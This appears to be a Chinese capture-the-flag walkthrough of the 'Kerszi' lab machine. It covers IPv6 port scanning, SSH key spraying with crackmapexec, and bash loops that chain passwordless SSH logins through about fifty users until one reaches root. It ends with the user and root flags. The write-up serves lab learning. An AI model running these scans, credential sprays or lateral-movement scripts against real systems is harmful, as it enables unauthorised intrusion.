Kerszi by Aristore

信息收集

```
┌──(root㉿kali)-[~]
└─# IP=192.168.5.210

```

扫描端口

```
┌──(root㉿kali)-[/home/kali/Desktop]
└─# rustscan -a $IP --ulimit 5000 -- -sV -sC
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
RustScan: Where scanning meets swagging. 😎

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 192.168.5.210:80
...
```

在 80 端口的页面底部写了 `This Website support IPv6 Networks`，换 IPv6 重扫一遍，先拿到靶机的 IPv6 地址

```
┌──(root㉿kali)-[/home/kali/Desktop]
└─# dig AAAA Kerszi.lan

; <<>> DiG 9.20.9-1-Debian <<>> AAAA Kerszi.lan
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 56541
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; MBZ: 0x0005, udp: 4096
;; QUESTION SECTION:
;Kerszi.lan.                    IN      AAAA
```

```

;; ANSWER SECTION:
Kerszi.lan.             5       IN      AAAA    fdf6:5504:618a::e01

;; Query time: 4 msec
;; SERVER: 192.168.249.2#53(192.168.249.2) (UDP)
;; WHEN: Sun May 31 04:26:31 EDT 2026
;; MSG SIZE  rcvd: 67
```

然后重新扫一遍

```
┌──(root㉿kali)-[/home/kali/Desktop]
└─# rustscan -a fdf6:5504:618a::e01 --ulimit 5000 -- -sV -sC
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
To scan or not to scan? That is the question.

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open [fdf6:5504:618a::e01]:22
Open [fdf6:5504:618a::e01]:80
...
```

爆破

```
┌──(root㉿kali)-[/home/kali/Desktop]
└─# crackmapexec ssh fdf6:5504:618a::e01 -u users.txt -p "" --key-file id_ed25519.txt
--continue-on-success
[*] First time use detected
[*] Creating home directory structure
[*] Creating default workspace
[*] Initializing FTP protocol database
[*] Initializing SMB protocol database
[*] Initializing WINRM protocol database
[*] Initializing SSH protocol database
[*] Initializing RDP protocol database
[*] Initializing LDAP protocol database
[*] Initializing MSSQL protocol database
[*] Copying default configuration file
[*] Generating SSL certificate
```

```
SSH         fdf6:5504:618a::e01 22     fdf6:5504:618a::e01 [*] SSH-2.0-OpenSSH_10.0p2 Debian-7+deb13u1
SSH         fdf6:5504:618a::e01 22     fdf6:5504:618a::e01 [+] ll104567: (keyfile: id_ed25519.txt)
SSH         fdf6:5504:618a::e01 22     fdf6:5504:618a::e01 [+] scdyh: (keyfile: id_ed25519.txt)
SSH         fdf6:5504:618a::e01 22     fdf6:5504:618a::e01 [-] kaada: (keyfile: id_ed25519.txt) Authentication failed.
SSH         fdf6:5504:618a::e01 22     fdf6:5504:618a::e01 [-] eecho: (keyfile: id_ed25519.txt) Authentication failed.
SSH         fdf6:5504:618a::e01 22     fdf6:5504:618a::e01 [-] yedongcong: (keyfile: id_ed25519.txt) Authentication failed.
SSH         fdf6:5504:618a::e01 22     fdf6:5504:618a::e01 [-] chenyulin: (keyfile: id_ed25519.txt) Authentication failed.
SSH         fdf6:5504:618a::e01 22     fdf6:5504:618a::e01 [-] u12138: (keyfile: id_ed25519.txt) Authentication failed.
ERROR:paramiko.transport:Exception (client): Error reading SSH protocol banner[Errno 104] Connection reset by peer
...
```

后面触发防爆破限制了，不过拿到了两个有效凭证，`ll104567` 和 `scdyh` 都可以登录

ll104567

直接拿私钥登录 `ll104567`

```
┌──(root㉿kali)-[/home/kali/Desktop]
└─# ssh -i id_ed25519.txt ll104567@fdf6:5504:618a::e01
The authenticity of host 'fdf6:5504:618a::e01 (fdf6:5504:618a::e01)' can't be established.
ED25519 key fingerprint is SHA256:MjoUe5ON03T2UcSPmlU3evmpGUywqf/3IUm0+1p77cI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'fdf6:5504:618a::e01' (ED25519) to the list of known hosts.
Linux Kerszi 7.0.8-1-liquorix-amd64 #1 ZEN SMP PREEMPT liquorix 7.0-8.1~trixie (2026-05-15) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat May 30 10:40:28 2026 from fe80::a00:27ff:fe3b:ba2b%enp0s3
ll104567@Kerszi:~$ id
uid=1000(ll104567) gid=1000(ll104567) groups=1000(ll104567)
ll104567@Kerszi:~$ ls -l
total 4
```

```
-rw-r--r-- 1 root root 44 May 30 09:31 user.txt
l1104567@Kerszi:~$ cat user.txt
flag{user-535f2af0a4b556de1bdc58b32b6004f7}
```

横向移移移移移动

```
l1104567@Kerszi:~$ ls -la
total 1392
drwx------  5 l1104567 l1104567    4096 May 31 07:26 .
drwxr-xr-x 52 root     root        4096 May 30 09:24 ..
lrwxrwxrwx  1 root     root           9 May 30 09:27 .bash_history -> /dev/null
-rw-r--r--  1 l1104567 l1104567     220 Mar  8 11:21 .bash_logout
-rw-r--r--  1 l1104567 l1104567    3526 Mar  8 11:21 .bashrc
drwxrwxr-x  4 l1104567 l1104567    4096 May 31 07:26 dirtyfrag
drwx------  2 l1104567 l1104567    4096 May 31 05:20 .gnupg
-rw-rw-r--  1 l1104567 l1104567  320450 May 31 05:20 linpeas.log
-rwxrwxr-x  1 l1104567 l1104567 1064716 May 31 05:16 linpeas.sh
-rw-r--r--  1 l1104567 l1104567     807 Mar  8 11:21 .profile
drwx------  2 l1104567 l1104567    4096 May 31 05:07 .ssh
-rw-r--r--  1 root     root          44 May 30 09:31 user.txt
l1104567@Kerszi:~$ cd .ssh
l1104567@Kerszi:~/.ssh$ ls -la
total 28
drwx------ 2 l1104567 l1104567 4096 May 31 05:07 .
drwx------ 5 l1104567 l1104567 4096 May 31 07:26 ..
-rw------- 1 l1104567 l1104567  190 May 30 10:37 authorized_keys
-rw------- 1 l1104567 l1104567  399 May 30 09:26 id_ed25519
-rw-r--r-- 1 l1104567 l1104567   95 May 30 09:26 id_ed25519.pub
-rw------- 1 l1104567 l1104567  978 May 31 05:07 known_hosts
-rw-r--r-- 1 l1104567 l1104567  142 May 31 04:59 known_hosts.old
l1104567@Kerszi:~/.ssh$ cat authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILFfuwgEwLfckC/y+WSwBnLM17Yv2kHsF8yUk4ZUEM1V sublarge@maze
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAII1mxjbOD6ZRsQbdQBNmQiQFFc28GCaGtFGf5OQnjG3z l1104567@maze
```

发现当前用户有 `sublarge` 的公钥，那么会不会别的用户有 `l1104567` 的公钥呢？挨个试试看

```
for user in $(ls /home); do
    while true; do
        result=$(ssh -o BatchMode=yes -o PasswordAuthentication=no \
            -o StrictHostKeyChecking=no -o ConnectTimeout=5 \
            $user@localhost "echo LOGIN_OK; id; sudo -n -l" 2>&1)
        if echo "$result" | grep -q "LOGIN_OK"; then
            ssh -o BatchMode=no -o PasswordAuthentication=no \
```

```
                -o StrictHostKeyChecking=no \
                $user@localhost
            break 2
        elif echo "$result" | grep -q "Connection closed"; then
            sleep 5
        else
            break
        fi
    done
done
```

发现果然如此，爆破了一下发现链条大概长这样：`11104567` -> `scdyh` -> `kaada` -> `eecho` -> ...

到这里发现有点眼熟了，和前面前端拿到的用户列表的顺序对上了

```
const users = [
    "11104567", "scdyh", "kaada", "eecho", "yedongcong",
    "chenyulin", "u12138", "ahiz", "hel2zy", "dark_dragon",
    "lingdong", "lpppp", "tuf", "meiyouqian", "mono",
    "luoyinhui", "ipv32_jo99", "ta0", "u111", "seeyou",
    "room_chan", "hyh", "lingmj", "xunfangzhong", "l1qin9",
    "mingmingjiu", "u20206675", "jiucaiye", "1xt0m", "dream_speeder",
    "yong", "wea5e1", "zuoyu", "wackymaker", "liuyun",
    "miao", "yliken", "fly_high", "yolo", "shanran",
    "sakuya", "mooi", "chuan", "wy", "u3170",
    "wh1tesu", "dingtom", "none", "gropers", "sublarge"
];
```

就用这个顺序做一个数组，遍历数组匹配当前用户名，然后 SSH 登录下一个用户

```
current=$(whoami)
users=(11104567 scdyh kaada eecho yedongcong chenyulin u12138 ahiz hel2zy dark_dragon lingdong lpppp tuf meiyouqian mono luoyinhui ipv32_jo99 ta0 u111 seeyou room_chan hyh lingmj xunfangzhong l1qin9 mingmingjiu u20206675 jiucaiye 1xt0m dream_speeder yong wea5e1 zuoyu wackymaker liuyun miao yliken fly_high yolo shanran sakuya mooi chuan wy u3170 wh1tesu dingtom none gropers sublarge)
for i in "${!users[@]}"; do
    if [ "${users[$i]}" = "$current" ]; then
        next=${users[$((i+1))]}
        ssh $next@localhost
        break
    fi
done
```

等登录到 `sublarge` 就该停下来了，但是翻了一下并没有新的线索，并且 `sublarge` 可以登录到 `11104567`，说明这并不是一个以 `sublarge` 为末尾的链条，而是一个环，先回到 `11104567`

```
sublarge@Kerszi:~$ ssh l1104567@localhost
Linux Kerszi 7.0.8-1-liquorix-amd64 #1 ZEN SMP PREEMPT liquorix 7.0-8.1~trixie (2026-05-15) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun May 31 08:43:30 2026 from ::1
```

提权

推测其中的某一个用户可以像登录其他用户那样登录到 `root`，修改代码从头跑一遍，这回的逻辑是在登录下一个用户之前先试试看能不能登录到 `root`

```
current=$(whoami)
users=(l1104567 scdyh kaada eecho yedongcong chenyulin u12138 ahiz hel2zy dark_dragon lingdong lpppp tuf meiyouqian mono luoyinhui ipv32_jo99 ta0 u111 seeyou room_chan hyh lingmj xunfangzhong l1qin9 mingmingjiu u20206675 jiucaiye 1xt0m dream_speeder yong wea5e1 zuoyu wackymaker liuyun miao yliken fly_high yolo shanran sakuya mooi chuan wy u3170 wh1tesu dingtom none gropers sublarge)
for i in "${!users[@]}"; do
    if [ "${users[$i]}" = "$current" ]; then
        next=${users[$((i+1))]}
        ssh -o BatchMode=yes -o PasswordAuthentication=no -o StrictHostKeyChecking=no root@localhost "exit 0" 2>/dev/null && ssh root@localhost && break
        ssh $next@localhost
        break
    fi
done
```

最后在 `jiucaiye` 登录到了 `root`

```
jiucaiye@Kerszi:~$ current=$(whoami)
users=(l1104567 scdyh kaada eecho yedongcong chenyulin u12138 ahiz hel2zy dark_dragon lingdong lpppp tuf meiyouqian mono luoyinhui ipv32_jo99 ta0 u111 seeyou room_chan hyh lingmj xunfangzhong l1qin9 mingmingjiu u20206675 jiucaiye 1xt0m dream_speeder yong wea5e1 zuoyu wackymaker liuyun miao yliken fly_high yolo shanran sakuya mooi chuan wy u3170 wh1tesu dingtom none gropers sublarge)
for i in "${!users[@]}"; do
```

```
    if [ "${users[$i]}" = "$current" ]; then
        next=${users[$((i+1))]}
        ssh -o BatchMode=yes -o PasswordAuthentication=no -o StrictHostKeyChecking=no root@localhost "exit 0" 2>/dev/null && ssh root@localhost && break
        ssh $next@localhost
        break
    fi
done
Linux Kerszi 7.0.8-1-liquorix-amd64 #1 ZEN SMP PREEMPT liquorix 7.0-8.1~trixie (2026-05-15) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat May 30 10:41:58 2026 from fe80::a00:27ff:fe3b:ba2b%enp0s3
root@Kerszi:~# id
uid=0(root) gid=0(root) groups=0(root)
root@Kerszi:~# ls -la
total 36
drwx------  4 root root 4096 May 30 10:41 .
drwxr-xr-x 18 root root 4096 May 16 05:19 ..
lrwxrwxrwx  1 root root    9 May 11 00:24 .bash_history -> /dev/null
-rw-r--r--  1 root root  607 Mar  2 16:50 .bashrc
-rw-------  1 root root   20 May 15 18:33 .lesshst
drwxr-xr-x  3 root root 4096 Apr 25 06:38 .local
-rw-r--r--  1 root root  132 Mar  2 16:50 .profile
-rw-r--r--  1 root root   44 May 30 09:31 root.txt
-rw-r--r--  1 root root   21 May 30 09:32 rp.txt
drwx------  2 root root 4096 May 30 10:39 .ssh
root@Kerszi:~# cat root.txt
flag{root-3525d43865cd4e1b2d84d217192b32d4}
```